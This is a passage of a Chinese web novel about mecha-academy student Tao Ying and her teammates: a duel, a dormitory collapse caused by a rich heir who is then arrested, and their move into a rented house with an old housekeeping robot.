第29章 南卦拔出公告牌,噔咚噔咚地往前。 她迈出弓步，然后像击打棒球一样，举起公告牌,朝着孙荡的头部，全力挥舞。 “砰——” 孙荡机甲的头部被扇了出去。 哦。超出想象的。 陶影挑眉,视线随着那颗头移动。 头部绕场一周，骨碌碌滚到观战区的栏杆前。 正对着陶影的脸。 身边的同学从座位上跳起来,一阵惊呼。 陶影一动不动,思索片刻后,低下头，在战斗记录上写了一行字。 【一记完美的全垒打。】 孙荡坐在机甲内,顶着一头黄毛,似乎还不太清楚发生了什么。 面板怎么突然黑了？头顶又为什么有光线？那里不是有东西挡着吗？ 孙荡一脸懵逼地抬头。 机甲头部不知道什么时候不翼而飞。 而南卦手捏着他的驾驶舱,收紧，发出嘎嘣嘎嘣的不详声音。 她阴森森地看着他。 朝着孙荡,一字一顿。 “不准，欺负,我的，队友。听明白了吗？” “再有下次，我杀了你。” 说着她捏爆了机甲的手臂,一把甩到观战区前面。 同学们纷纷后退一步：“……” 性格柔弱的文艺少女，切开发现是精分女鬼啊！ “事情就是这样，南卦同学用公告牌敲掉了孙荡机甲的脑袋。” “那问题三人组最后是赢了？” “算是吧。” 学生B一脸疑惑：“赢了就是赢了，输了就是输了，什么叫算是？” “呃，孙荡认输之后，南卦的机甲突然宕机。然后林别歌和周真扭打到一起,很久都没分出胜负，最后白助教实在看不下去了，大喊了一声‘别打了，经费啊，学院经费不够了’之类的，叫停了对战。” “所以算是平局？那她们水平也就一般嘛。” “说什么呢，这可是那个问题三人组！对她们来说平局也很厉害了好不好。我都不一定能打赢周真呢。”学生A小声嘟囔。 陶影伤好得差不多，拆掉石膏，下床走了两步。 医生观察一阵数据，将笔插到衣服口袋，点点头道：“今天就能回宿舍了，之后暂时注意不要剧烈运动。” “好的医生。” 回到宿舍，惯例的复盘时间，两位队友垂头丧气地推门而入。 林别歌拉过椅子，一屁股坐上去，趴在椅背上，连连叹气。 南卦一直站着，陶影拍拍身边的位置。 “坐吧。” 南卦小声说了句谢谢，端正地坐下了。 林别歌大倒苦水：“南卦那一记操作，真的很漂亮。她都给我制造那么多机会了，我还是没赢。本来有机会赢的，都怪我。” 林别歌有点丧气。 “我是不是其实没有机甲才能？” “你竟然会自我反省？”陶影惊讶。 “我以为比格通常不这样做。” 林别歌：“……” “不过反省的方向不对，”陶影慈祥地拍拍林别歌的脑袋，“你当然有机甲才能。” “虽然没赢，但得到的东西也许比赢了更多。” 陶影哗一下，从床头拉下软性便携显示屏。 “这次战斗，你们配合很好，林别歌，你在5分48秒、13分23秒、25分17秒的节点，帮队友挡下了三次致命攻击。还有二十几次小型攻击——我没仔细数，可能更多。” 林别歌指着自己：“啊？我吗？” 她有吗，她怎么不记得？ 陶影放出她们当时的对战录像。 果然，好几次孙荡从背后偷袭南卦，都被林别歌挡住了。 但她因为当时正在对战，根本没注意这些细节。 林别歌本来还有点丧气，看到自己成功救下队友的画面，瞬间心情upup。 她自信恢复：“俺果然厉害！” 南卦依旧有些低落：“别歌老师确实很厉害，但我总是在被保护，没办法保护别人……我太弱了。” 弱吗？ 你那记全垒打可不是这么说的。 “看完这段录像再下结论吧。” 陶影笑着点击播放键。 “你避开攻击的次数，比林别歌保护你的次数更多。你的观察力，尤其是察觉危险的能力，非常厉害。甚至这里。” 陶影放大了画面，连续回放。 画面中，南卦驾驶的机甲，身体有一个大幅度的扭转——不知道是不是巧合，她竟然躲开了周真一记强力攻击。 从背后的攻击。 陶影：“这里是视觉死角，你怎么察觉到周真攻击的？” 南卦看到录像，也很意外，她翻来覆去看了好几 遍，似乎不确定机甲里的人是不是她。 她一脸疑惑：“我也不知道怎么避开的。当时……就觉得后脑勺一凉。应该是我的错觉吧？不然是机甲的自动避让？” 果然如此。 “VX-89是老型号，没有自动避让这么高级的功能，”陶影摸摸下巴，“第一次对战的时候，我就有点奇怪，当时你连续躲开了三次周真的攻击，本来以为是反应能力快，但后来想了想，不像。” “这次对战之后，我基本上确认了这个猜想。” 陶影微微一笑。 “南卦，你测过精神力吗？” “啊？没，没有。”南卦摇头。 第二天，陶影拉着南卦，去找姬亦老师补测精神力。 结果出来，南卦的精神力有A+。在整个学院，仅次于陶影的S级。 林别歌大吃一惊：“她，她精神状态这么不稳定，精神力还能有A+吗！” 陶影：“偶尔也有这种类型。” 大多是在充满精神攻击的成长环境里磨练出来的。 林别歌不理解，但她选择接受。 “好吧，就当你说的是真的，但她精神力高，和她能避开攻击有什么关系？” “林别歌，我告诉你一个秘密吧。”陶影手敲着脸颊，笑着说。 高精神力人群，有一个共同秘密。 嗅觉，味觉，听觉，视觉，他们在某一个方面，会有远超一般人的敏感程度。 精神力等级越高，就越明显。 南卦的情况，可能几方面都有。 她拥有极强的观察力，可以提前察觉危险。 其实是非常科学的能力，但因为一般人难以切身理解那种感受，所以录像里看上去，就像超能力一样。 “ESP，超能力，第六感，怎么叫都可以。” “哇，没看出来啊，你这么厉害，”林别歌撞了南卦的肩膀一下，“那太棒了，我们强强联手啊。” 回过神来，林别歌又问：“不过影子，你精神力不也很高，你的ESP是什么？全都有？” “不知道，我应该没有。” “怎么可能，你刚刚还说高精神力人群都有的！” “那可能是……我的智慧？” 陶影一脸严肃。 南卦、林别歌：“……” 请把你的脸皮打磨到正常厚度，谢谢。 半夜，陶影早早入睡，想起明天的计划，朝舍友打了声招呼。 “对了，我明天有事，中午下课你们不用等我吃饭。” 但没人回答。 南瓜在速写本上画她的仿生人、比格犬、小猫咪三口一家的治愈系漫画。 林别歌正在戴着耳机打游戏，抬手敷衍地回了几声好。 陶影淡淡地：“行吧，反正我说了。” 她打了个呵欠，翻身就睡。 …… 第二天，陶影清早起床，乘坐穿梭舰，来到莱门市中心的莱门医科大学附属医院。 刷ID卡进入。 她直接来到了医生的科室，推开门，医生很快就把检查流程发给她。 一套检查下来。医生紧皱着眉头。 紧接着打开光脑，开始查星网百科。 陶影：“……” 不会又检查出什么奇怪的毛病了吧，她的病历已经没有地方再加病名了。 医生沉默着在光脑上查询了半天，最后双手交叠，手肘靠在办公桌上。 “你这个情况……不能做手术。除了精神力没有一项指标是达标的。” “可以通过药物调整到能做手术的程度吗？” “一定程度上可以，但说实话，很难提升到合格标准。而且你腿部怎么还有一点骨折？” “之前跑步的时候摔了。” “哦——最近还是谨慎运动吧。最起码还要恢复一个星期。至于体质手术现在不行，我先给你开点营养片剂调理。” 陶影关注的点：“那什么时候可以调理好？” “起码半年之内你是不要想了，这还是在调理很好的情况下。食物上跟锻炼上都要注意。需要定期复查。” 医生说话非常严肃。 “你现在最重要的任务不是考虑手术，而是活着。” “……” 陶影跟医生道谢，拿完药离开了医院。 调理身体？ 学校宿舍那个条件，恐怕不太好调理。 首先食物就不行，全靠林别歌打工回来帮她带饭。 其次半夜宿舍窗户漏风，哗啦哗啦响不说，楼上还经常传来玻璃珠弹跳的声音，晚上睡眠不好。 但搬出去住，平时和队友交流也不太方便。 难道要带队友一起搬出去？但无缘无故的，没什么理由劝她们一起啊。 陶影脑子里闪现几个缺德方案，正在犹豫要不要对队友下此狠手的时候，穿梭舰到站了。 她低着头想事情，走到学校门前，突然觉得有哪里不对。 学校里空荡荡的。 但陶影的意思，不是说学校里没人。 相反，几百名学生喊叫的声音，简直响彻云霄。 所以不是没有人的那种空荡荡，就是，原本应该在那里的东西它……不见了。 原本应该是宿舍楼的地方，没了。 整栋楼，都没了。 “……” 谁能告诉她出门一趟为什么宿舍楼没了吗？ 陶影茫然地走进校门—— 作者有话说：陶影：想什么来什么，难道这就是我的超能力（ 第30章 陶影走进学校,迎面扑来一阵沙子。 原本是宿舍楼的地方，已经变成一片废墟，两台小型机甲正在废墟里翻翻找找,捞人。 时不时地有学生被抬出来，送进医疗舱。 陶影终于从震撼中回过神,随便拉住一个同学。 她问：“发生什么事了？” “哦，是你啊,体质F同学,久仰久仰,”那位同学似乎看见什么珍稀生物似的，拉住陶影的手握了好几下,好半天才想起陶影刚刚问她什么事。 那同学不好意思道：“上机课结束,我正在食堂吃饭,突然听到一声巨响，出来一看,宿舍楼就塌了，不知道是怎么回事。你真幸运,正好避开危险。” “巨响是什么声音？” “像是什么很硬的东西撞上宿舍楼。哎，不过也可能是我听错了，毕竟宿舍楼本来就摇摇欲坠的。” 受伤的学生还在一个个被抬出来。 陶影加快脚步,逆着人群往前走。 林别歌和南卦今天有课，她们可能也在楼里。 “这不是体质F同学吗？里面很危险的，你进去干嘛？” “是啊，等下，她是不是没听见你说话。哎——那个体质F同学！不要再往前走了！” 陶影充耳不闻，挤到前排。 白助教正在焦头烂额地拿着名单，一个个对学生的名字。 “白助教。” 白助教听见有人叫他,回头一看，是陶影，当即面露欣喜：“哎，你没事！” 说实话，最担心的就是这位脆皮学生，她如果被埋里面了，估计一分钟就会迅速嘎掉。 白助教高高兴兴地划掉名单上陶影的名字。 陶影凑过去看了一眼名单。大部分学生的名字都已经确认生存，但上面没有她的两位队友。 陶影皱着眉头：“林别歌和南卦呢？” 白助教遗憾地摇摇头：“还没找到。” 搜寻的机甲还在来回走动。 白助教大喊：“签到名单还有谁没签的！快点，我们要排除还有哪些学生没救出来！” “我我我！帮我朋友签，她们刚刚在医疗舱醒过来了。” 又是几个灰头土脸的学生跑过来。 白助教忙得一团乱，几个学生志愿和他一起统计还没确认生存状态的学生。 随着名单上的名字一个个被划掉，最后只剩下了林别歌和南卦。 这么久过去，如果被埋在下面，应该是没救了。 白助教唉声叹气。 “完蛋了，早就说过经费要优先改造宿舍，哎。这下要害死两名新生了。” 陶影观察了一下，突然问：“那两台正在搜救的机甲是VX-89？” “嗯。哎？是的。姬亦老师发觉情况不对，就 去开了一台。” “那剩下一台是谁。” “不知道，挺熟练的，应该是哪个厉害的学生吧？” 白助教说到一半，仓库里突然走出一台机甲。 和正在搜救的两台VX-89不同，这台机甲是VX-108，型号比起VX-89更新，偏万金油的机型，应该是教练机。 教练机咚咚走到拥挤的学生附近，学生们自觉地让出一条路。 白助教奇怪地上前，然后机甲掀开了脑袋，里面是姬亦。 “啊？姬老师你怎么会在这里？那台VX-89里的不是你啊！” “不知道，我一发现情况就联系了星警，等他们来要一定时间，我本来想就近开机甲救援，但仓库里没一台机甲能开的。” “不是还有一台好的VX-89吗？” 姬亦耸肩：“不知道是谁把它撞坏了。” 白助教转过头，疑惑地看着那两台还在搜救的机甲。 “如果现在机甲里坐着的不是您，那会是谁啊？” 大家都面面相觑，不知道是什么情况。 而那两台机甲还在埋头搜索。 陶影若有所思，随后观察了一下两台机甲的情况，突然扑哧笑出了声。 同学们：“……” “体质F同学在笑什么？” “不知道，快看，她死盯着那两台机甲，手上还在写什么。……战斗分析？啊？为什么这个情况也能写战斗分析？” 很快，星警赶来，确认废墟里已经没有生命痕迹。 那两台VX-89机甲肉眼可见地萎靡下来。 机甲朝安全区走了几步，里面的人爬出来。 是两个女孩。 她们显然已经很累了，走了两步，其中一个女孩神色麻木，精神状态不太好，果然，下一秒，她突然抱着膝盖就蹲下开始大哭。 另外一个女性，身高一米八左右，在拍拍那个蹲着的女孩的背，安慰她。 陶影：“……” 陶影正想说什么，那名一米八的女性视力非常好，往这边看了一眼，和陶影视线对上了。 一米八跳起来，随后提起地上那个大哭的女孩。 两个人龙卷风一样地冲了过来。 南卦嚎啕大哭地扑到陶影身上。 “小影，我还以为你死了啊啊啊啊啊啊。” 林别歌更是嗷嗷大叫，非常难听地嚎哭两声之后，转悲为怒，在地上狠狠跳了两下。 她愤怒地指着陶影：“影子，你出门为什么不告诉我！” 陶影面色麻木：“我昨晚说过啊，说今天有事要出门。你当时在打游戏。” 南卦一脸眼泪地转过头。 林别歌：“……好像，确实，说过。” 她当时正在玩美食经营小游戏，太专注了，就，随便，应了一下。 林别歌气势一下就弱了下去。 “那，这个，那个……” 白助教出来打圆场：“总之是个误会是吧。大家没事就好。所有学生都成功救了出来，以莱门的医疗条件，不会有什么问题。” “倒也不能说完全没事。”陶影的视线朝向宿舍楼。 人是没事了。 “我们的行李全在里面，今晚住哪儿？” 学校把空置的教室暂时清理出来，让大家先住一晚。 陶影还是没想通，楼究竟是为什么塌的？ 看上去不像自然坍塌。 第二天，陶影让林别歌用机甲的雷达扫描了一下废墟。 【——异常警告，异常警告。】 机甲传来提示。 林别歌捡起一个脸盆那么大的金属零件，两手举过头顶，朝陶影挥挥。 “影子！我找到一个奇怪的东西！” “扔到这边空地。” “好！” 林别歌进行一个利落的抛。 陶影捡起看了看，是VX-89的后背零件。上面有特殊符号，是六台VX-89中的一台。 陶影径直来到战斗区旁边，拆下两个摄像头，看了一下里面的录像。 摄像头是陶影之前装的，为了录两位队友的对战过程。 林别歌左看看，右看看。那个摄像头跟着她就开始自动捕捉。 林别歌迟疑了一下：“话说我之前就想问了，你这个装在战斗区，经过老师同意了吗？” “放心，校规我滚瓜烂熟，里面没写不能装。” “谁家好人看校规是为了找校规漏洞的？” 陶影翻看录像的同时，还不忘一心二用回答林别歌的问题。 “好人当然也要钻规则漏洞了，不然世上只有坏人钻漏洞，好坏岂不是不平衡。” “我多善良啊，当然不愿意看到这种事情发生。” “……” 你的逻辑无懈可击，但你的前科怕是花样百出。 看完录像，陶影拔下存储卡，似乎是想起什么开心的事情，嘴角微翘。 过了一会儿，忍不住笑出声。 林别歌：“影子，你笑得像科幻片里抓到主角把柄的仿生人大反派。” 陶影露出八颗牙齿，灿烂地笑了。 的确是抓到了把柄，还是送上门来的。 爱荷华家族怎么会养出这种蠢蛋。 陶影晃晃手中的录像带。 “等我好消息。” 爱荷华家族地界。 茂密的森林中心，有一座城堡。 三楼，一间精美而奢华的房间，天顶上，圆润的人体构成高雅的油画。 甘逸爱荷华靠在沙发上，观看他的杰作。 大屏幕上，全是宿舍楼倒塌的照片。 甘逸越看越开心。 没错，宿舍楼就是他偷偷开机甲撞的。为了报复那个告密的女人。 白颖。 甘逸的朋友圈子里，之前有一个吹嘘自己考上莱门大学的，甘逸看他不爽，想杀杀他的锐气。 正好，朋友里有个姓丁的，说可以帮忙，把甘逸的分数换成高分，这样他就可以去读莱门大学了。 甘逸本来还奇怪要怎么换，第二天，朋友找到一个第四星系出身，没有家人的孤儿，直接在系统里调换了分数。 料想这个学生没有后台，也翻不出什么风浪来。 就算被发现，最多赔点钱打发了——偏远星系的穷人嘛，是这样的。 没想到，这个学生竟然直接告状到尤里斯那里，害他又被关了一个月的禁闭！ 不就是个分数而已，至于闹成这样吗？ “让她找叔叔告我的密，现在肯定吃到教训了吧。” 甘逸得意地按下遥控键。 从禁闭被放出来，他第一时间就是找到那个机甲学院。 找了个监控死角，开机甲撞了下宿舍楼。 神不知鬼不觉。 他正想着自己第一次开机甲就这么厉害，沾沾自喜的时候，门板突然被踹开。 三个穿着星警制服的女性走进来。 她们亮出证件。 “莱门市治安署，甘逸爱荷华，不要反抗，举起双手，否则我开枪了。” 甘逸猛地站了起来：“我凭什么……” “双手，举过你的头顶。”星警的说话声带着不容拒绝的冷意。 甘逸不服：“这里是爱荷华家族的地盘，哪里有你说话的——” 他狠话放到一半，突然看到门外的管家在朝他使眼色。 甘逸犹豫了一下，最终不满地举起双手，示意自己手上并没有武器。 “甘逸爱荷华，你涉嫌故意破坏居住建筑罪，致多名学生受伤，现依法对你实施逮捕。” “你有权保持沉默，但你说的每一句话都将成为呈堂证供。” 队长点头，两边的队员同时上前，把甘逸压倒在地，甘逸被束缚带绑住双手，带上警用巡逻穿梭舰。 虽然爱荷华家族有试图压下消息，但哪里瞒得住广大网民。 星网头条火热发酵。 【家人们，大速报！爱荷华家族的小少爷被抓了！】—— 作者有话说：陶影：我还没开始发力，敌人怎么就送上门了魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 【啊？抓了甘逸？听说他之前开车撞人,不是关家里了吗？又犯什么事情了。】 【他开机甲撞了宿舍楼，好多学生受伤了。】 【他是真敢啊，仗着家族撑腰有恃无恐,这下 终于栽了吧。】 【撞人那次就草草赔钱了事，这次爱荷华家族竟然没用钱解决？难道是报警人背后有爱荷华科技的竞争对手。海台科技,加西亚电子，还是柏氏工业？】 【都没有。听说报警人是个普通大学生,还是从偏远星系来的。】 【啊？没有后台还敢得罪爱荷华家族,不要命啦？！】 每个网友都觉得,星网头条肯定会被压下去，这件事情多半会不了了之。 报警人一定会被报复。 但结果出来,他们大跌眼镜。 星网讨论度不仅没下去,反而一直保持着第一没降下来。 【内部速报！这次事情大条了,听说爱荷华家族没能保下人。】 【甘逸要被关押到第四星系的星际监狱了！！】 陶影在警局配合调查结束，离开了警局大门。 几名星警看着她的背影,又看看询问记录，都是非常头痛。 他们被爱荷华家族收买,询问中设计了一些陷阱，但这学生一次都没中过套。 完全找不出来一点可以做文章的地方。 这下甘逸进去，是铁板钉钉了。 星警感叹：“这名学生应对太厉害了。要不是她身份记录干干净净,我简直要怀疑她是星际监狱几进宫的犯人。” “同感，要不然就是什么犯罪天才吧。” 星警们整理好证据，正在想着给爱荷华家族交代，陶影突然折返，将一只录音笔放在桌子上。 “对了，刚才忘了，还有一个案子,既然都是同一个人干的，就干脆一次处理了吧。” 星警心中有种不详的预感：“什么案子？” “甘逸涉嫌勾结联考部门的内部人员，换掉了我的分数。” “你说什么？” 星警都受过专业的训练，但险些控制不住自己的表情。 “换分？？？” “这话可不能乱说的，你有证据吗？” 陶影微笑着点点头，又掏出了一沓证据。 星警全瘫坐在座位上。 这件事情发酵起来，绝对会全网引爆。 上次有人捅出这件事，他们莱门市星警上上下下，抓了几百个相关人士。 简直是天天忙得脚不沾地。 这个甘逸究竟想干嘛啊，折磨死他们吗！！！ 出了莱门市治安署的大门，陶影看到一个熟悉的身影。 是爱荷华家族的管家。 显然面色不怎么好。 陶影走过去。 “你来晚了，问询都结束了。” 管家捏着衣袖，但是面上还是要保持体面。 他已经为爱荷华家族服务几十年了，处理这些事情也非常熟练。 这次的事情，的确非常严重，但以他们的人脉，完全可以找内部人士偷偷解决。 没想到星网舆论竟然发酵起来，帖子根本删不完。 大家逼着星警方必须给一个结果。 爱荷华家族没办法，只能先配合警方调查，之后再想办法把人弄出来。 但这件事情，又出现了第三方的压力。 姬亦，联邦元帅，一个电话打到了治安署署长那里，说必须给她的学生一个交代。 谁能想到，那所三流军校的老师，竟然是隐姓埋名的联邦元帅！ 有元帅撑腰，星警那边被逼得不得不认真处理。 毕竟虽然他们算是雷瓦尔帝国的古老贵族，在切斯特星，没有人敢随便得罪。 但在军方内，并没有那么强的实力。 爱荷华家族，目前只有尤里斯爱荷华一个上将。 比起联邦元帅的话语权还是小太多了。 但撇开这件事。这位学生，竟然把换分的事情一起捅了出来！ 管家平稳语气道：“换分的事，你可是收到了五百万的封口费，如果严肃处理起来，我们可以起诉你敲诈。” 陶影一脸无辜：“嗯？是吗，什么封口费，没听说过。” 陶影拿出那天的录音，点击播放。 尤里斯的声音从录音笔里传来。 “你是聪明人，应该也知道，就算换回原本的专业，也不见得能有多好的未来。” “如果想从事相关的开发职业，爱荷华科技现在就可以给你实习机会。” “想要的太多，最后恐怕会什么都得不到。” 听上去字字都是威胁。 而最后，陶影说的是：“好吧，我一个第四星系的学生，的确没有反抗爱荷华家族的能力。” 是的，陶影一直在强调换回她的专业，从来没有提过要钱。 “明明是上将大人想靠给钱息事宁人。如果需要，你们也可以去调店里的监控。” “不过要是真的查了，困扰的应该是你们。毕竟从头到尾，那段视频，都是尤里斯爱荷华在威胁我。” “呵，”那管家冷笑一声，视频监控，那有什么重要，让它丢失就可以了。但…… 管家：“录音可以造假，但上将大人给你转账的记录可是真的。” 陶影一脸无奈：“所以我刚刚也说了，什么五百万星币，我没收到过。” “少装糊涂，钱都转入你的账户了。记录全星际联网，都可以查到。” “那恐怕你们转错人了。” “什么？” 管家觉得这个学生在说谎，但她的表情太笃定，让他也有点将信将疑了。 管家打了一个电话，让人帮忙调查收款账户，但电话那头并没有传来他想要的答案。 钱是转了，但是转到了一个黑市账户。 这个账户根本没有办法调查来源！ 管家指着陶影的脸：“你，你……” 陶影微微一笑。 当然，他们能找到关联就怪了。 这个账户和“白颖”本人没有任何关系。 穿梭舰到了，停在陶影面前。 陶影似乎是突然想起什么：“哦，对了，这次甘逸不仅要蹲星际监狱，你们还要负责赔偿所有学生的生理及精神损失费。否则学生如果不谅解，甘逸还要多蹲两年。” 虽然他本来也要蹲个十几二十年的。 陶影拍拍管家的肩膀，一副关心人的态度，慈祥道：“是爱荷华家族的荣耀重要，还是一个小少爷重要，你们是时候该想清楚了吧？” “你——！” 管家已经八十多岁，活这么大岁数，从来没和这种人打过交道。 不，或许有类似性格的人，但大多是混迹社会多年的老油条。 但一个学生？ 这是正常学生吗？！ 管家看着陶影的笑，就像看着一个魔鬼。 他冷静下来，他冷哼一声。 “你等着，这件事没这么容易就算了。” 陶影一脚踏上穿梭舰，回头道：“拭目以待。不过真的建议你快点去找学生请求谅解。” 管家离开的背影更气愤了。 …… 这次事件后，同学们都拿到了大额补偿。 甚至学院也狠狠坑了爱荷华家族一把，把宿舍楼和教学楼统统翻新。 “太感谢报警人了！” “不知道是哪个学生这么有勇气，敢跟爱荷华家族作对，他们在莱门市可是横着走。” “如果知道她是谁，我要给她送锦旗。” 陶影正好路过，旁边的人跟她打招呼。 “哎，体质F同学！你去哪儿了？” 陶影似乎在想事情，没听见他们说话，直接就走了。 同学小声嘀咕：“该不会她就是报警人，刚才是去治安署配合后续调查吧？” “怎么可能，爱荷华家族随便派个人堵她，弹她一个脑瓜崩就能送走她了。不可能不可能。” 陶影来到暂住的教室，推门而入。 林别歌和南卦一看她回来，困也不困了。 她们两个跳起来 ：“影子！你太厉害啦！” 南卦：“我收到了一百万星币的精神损失费！能交大学四年的学费了！” 林别歌：“我也有一百万星币！终于可以不用打四份工了。要是把这件事情告诉学院的同学，他们肯定特别崇拜你。” “哦，那挺好的。” “……” 反应好平淡。 “对了，有件事情跟你们商量，你们有打算租房吗？” 陶影看了一眼破旧漏风的教室。 宿舍楼修好还需要很久，这个教室是学校临时找到的。 条件非常差，根本不能长住。 其它学生大多是莱门市本地人，可以回家住，但陶影她们都是从偏远星系来的，没有这个条件。 三个人商量一番，决定一起去校外合租。 “嗯，莱门市的房价好贵，根本负担不起。近的地方又贵又破，远一点倒是可以，但早上要起很早的。” “是啊，小影的身体受不了吧。” 南卦和林别歌叽叽喳喳地商量，转头，陶影一言不发，还在淡淡地划拉着平板。 也不像是在找房子呀。 林别歌：“影子，你怎么一点都不急啊。” 林别歌还没说完，一道冷风吹过来，陶影咳嗽一下。 “看吧我就说！你身体肯定受不了这个环境！之前不是说要调理身体来的！” “……” 陶影的手在光脑上滑动。 “我找到了。” “哦，我看看？”林别歌凑过去。 是一幢小洋房。两楼，复式。还是在莱门市中心，附近有快速交通。 地段好，房型也好。 南卦两眼放光：“哇，好漂亮的院子，而且每个人都有单独的房间！我喜欢！我想住！” 林别歌精通打工，也是有过租房历史的，一看就知道这个房子肯定不便宜。 “这个太贵了，我们应该租不起吧？换一个换一个。” “也不算贵，就五千星币，我们三个平摊。” “什么，一个月这么少？怎么可能，骗人的吧。” “朋友介绍的，位置安全，房源可信。” 见林别歌还是一脸怀疑，陶影又补充。 “附近有一条小吃街，价格很公道。” 林别歌当即决断。 “现在就走！”—— 作者有话说：便宜房源是哪里来的呢~[撒花] 提示：影子姐其实……很有钱的（ 第32章 二层小洋房。 镜面太阳能板上面满是堆积腐烂的落叶。金属骨架做过防锈处理,所以没有生锈，但依旧有雨水冲刷留下的痕迹。 陶影踏上三级台阶。 她站在门前，给队友递去两个口罩,输入密码。 SD.HOUSE，127.0.0.1:8080。 林别歌面露疑惑：“SD是Shadow,House是房子，127.0.0.1是什么意思？” 陶影：“运算机中的本地回环地址——你把它理解为家吧。” 南卦眼睛一亮：“哦,我知道！我在机甲文学课本上读过一句话,‘没有任何一个地方像127.0.0.1’*,书上说，是根据一个童话故事改的,原句是‘没有任何一个地方像家一样’。” 林别歌喃喃自语：“机甲文学真是一个奇特的专业。” 陶影敲击几下门板,门板上的电子屏幕,显示出密码页面。 她直接录入了三个人的生物信息。 没等两位队友反应过来，陶影就要推门而入。 林别歌和南卦都惊呆了,拦住了她。 “哎你等等，直接进去？不需要等房主一起来看房吗？” “关于这个……” 陶影转过身,突然阴森森笑了两声。 “不用担心，这栋楼的房主已经死了很多年了，房子一直没人住。我们就算在这里偷偷住上一百年,也不会有人知道的。” 林别歌：“……” “我姑且问一下，房主不是你杀的吧？” 林别歌指了一下花园里长得郁郁葱葱的杂草。 “ta尸体不会就埋在花园里吧？” 陶影露出一个和善的微笑：“如果是呢？” 林别歌掏出光脑就是一个按：“歪你好，莱门治安署吗？是这样的我们这边有个凶杀案……” 光脑屏幕都没打开。 陶影笑着拍了一下林别歌的脑袋。 “开玩笑的，房主是我朋友，她离开第一星系了，暂时不住这里。” 林别歌：“五千星币一个月，你救过她的命？” “也可以这么说。不过主要是因为房子一直没人养护,坏了很麻烦的。房主正好看我们几个是学生，又比较爱干净，就同意租给我们了。” “这……倒是很有道理。” 林别歌面色犹豫。 但还是有点可疑。 “你们这什么表情？好像很不信任我的样子。” “考虑到你的前科……” “我有什么前科，只是微微地钻过一点校规的漏洞而已。密码当然是合法正规来源。” 陶影摇头，面露痛心。 “人心中的成见是一座大山。” 林别歌&南卦：“……” 最终三人达成结论，先进去看看。 陶影没有说谎，房子来源的确很正规。 正规得不行。 毕竟这里是陶影的房产之一。 当初在莱机所工作时候买的，因为离上班地点比较近。但买了才发现，根本没有时间住。 陶影大部分时间都直接住在莱机所。 所以这个房子……应该十几年没有人打扫过了。 果然，一进玄关，就是一大股灰尘的味道。 几人按紧了口罩。 关上门后，电子音自动播报：“欢迎回家。” 房子虽然很脏，但整体状况比陶影想象的好很多，大部分家具都用白布盖着，还好好的，可以使用。 卫生间、厨房，水管check，很好，没有漏水。 一楼是客厅、厨房、杂物间，二楼一共有四个卧室，还有游戏室，很周全的配置。 距离学校也只有一站，非常完美的房子。 林别歌权衡利弊，最后合掌：“就住这里，我没意见。” 南卦点头附议。 三人算是达成共识。 …… 陶影身体不好，卧室选在光照时间更长的一边，林别歌和她对门。南卦则在陶影隔壁——角落的一个小房间，窗外风景非常不错。 定好房间，就该进行下一步工作了。 林别歌撩起袖子，不知道从哪个犄角旮旯找来清洁用品。 “来吧南卦，我们开工。做清洁！” “好！” 两人一溜烟跑去客厅，开始打扫。 林别歌以前打工也干过保洁，特擅长这个，南卦在家里负责大部分家务，也很擅长这个。 陶影因为身体不好被两位队友强行禁止打扫，连擦一下灰尘都被骂了。 两位队友握起拳头：“你什么体质自己心里没数啊，给我休息！” 她无聊地靠在窗台边。 一抬手，发现皮肤上一串红色。 ……过敏了。 陶影默默收回了窗台上的手。 病历上又要加一条了。 想找点事情干，但屋子里没一个地方坐得下去。 “哦！”陶影想起一件事，突然合掌。 以前买房的时候，开发商有赠送过一台家政机器人来着，陶影开机试用过一次之后就扔这儿了。 可以开机帮忙做清洁，减轻两位队友的负担。 记得是放在地下室来着…… 想了想，陶影走下楼梯，来到杂物间，戴上手套，开始在一堆金属零件里翻找。 很快，她就找到了。 陶影把智能管家从零件堆里拖了出来，这才看清它的全貌。 智能管家大约一米高，头顶是一个半球，身子是圆柱，两只手倒是很像人类——应该是为了方便握取各种工具。 外壳零件有点被腐蚀，是极其老式的家政机器人，不过外表做得挺可爱的。 “让我看看，插座在……这里。” 喀哒接上电源的一瞬间，陶影眼前闪过一道刺眼的白光，然后是炸裂声。 头顶的灯泡爆裂了。 电闸也跳了。 再看，智能管家的电池开始冒烟。 陶影：…… 她默默从角落掏出一台灭火器，灭掉了火。 一楼传来林别歌的惊叫声：“哎哎谁拉我电闸，吸尘器不动了！” 三十分钟后。 陶影从工具箱里掏出扳手和零件，检查了一下智能管家。 似乎是内部电路短路，把电池烧坏了。 她焊好电路，叫来星际快递，换了一块电池。 “这样应该就没问题了吧？”她按下电源键。 智能管家开始闪烁灯光。 【——开机中，正在更新系统，请勿关机。】 大概过了十分钟，智能管家睁开Q萌可爱的眼睛，圆滚滚的身子原地转了一圈，开始扫描附近的情况。 在扫描到陶影之后，它露出一个>o<的惊讶表情。 “你好，我是你的家庭智能管家，请为我命名。” 陶影正想随便取个名字，机器人突然卡壳了。 “你，你好，我是你的家庭智能管家，叶、叶、叶……” “……”没取过这个名字啊，太多年没启动，bug了吗？ 叶叶？ 以前的人类真是喜欢给家政机器人取叠词名字。 “那就叫你小叶吧。” 陶影一看到饭点了，转身就要上楼。 及腰高的小机器人突然颤抖了一下，拉住陶影的衣角，陶影疑惑地回头。 小叶：“><，请，请输入您的健康数据。” 陶影：“？” 小叶：“><，健康管理功能检测到您的身体情况低于星际平均水准，请输入您的健康数据。” 哦—— 陶影低头看了一眼。 估计是这里空气质量太差，光脑的健康系统又开始报警了。 智能管家是有这个模块来着，正好可以帮她规划一下，提高身体指标。 陶影干脆接通光脑，把医生给她的数据也传输了过去。 小叶半圆形的脑袋转了一圈。 然后液晶屏幕上，露出>▽<的表情。 “小叶将替主人制定食谱及一周锻炼计划！” ……好像很开心的样子。 情绪价值给得非常足。 陶影朝它竖起一个大拇指。 “帮忙做下全屋清洁吧。” “好的！” 小叶接受到清洁指令，开始在屋内走来走去。 它本来只有一米高，但圆柱体的内部竟然隐藏了升高部分。 两条管子构成腿部，直直伸长到三米高。 视觉感受上，大概就是从O形状变成======O的形状。 小叶的双手是软性变形材料制成，可以通过识别清洁对象的形状，完美贴合，进行全方位吸尘。 一个小时后，整个屋子焕然一新，衣柜顶部闪闪发光，连天花板都干干净净。 没有死角的智能管家。 林别歌仰着头，叹为观止。 “你刚刚说这是开发商送的？好良心的功能设计。” 陶影：“是挺良心的。刚刚查了一下，这个型号还会做饭。” “纳尼！”说到这个林别歌就激动了起来。 陶影仰头，拍拍机器人的两米大长腿。 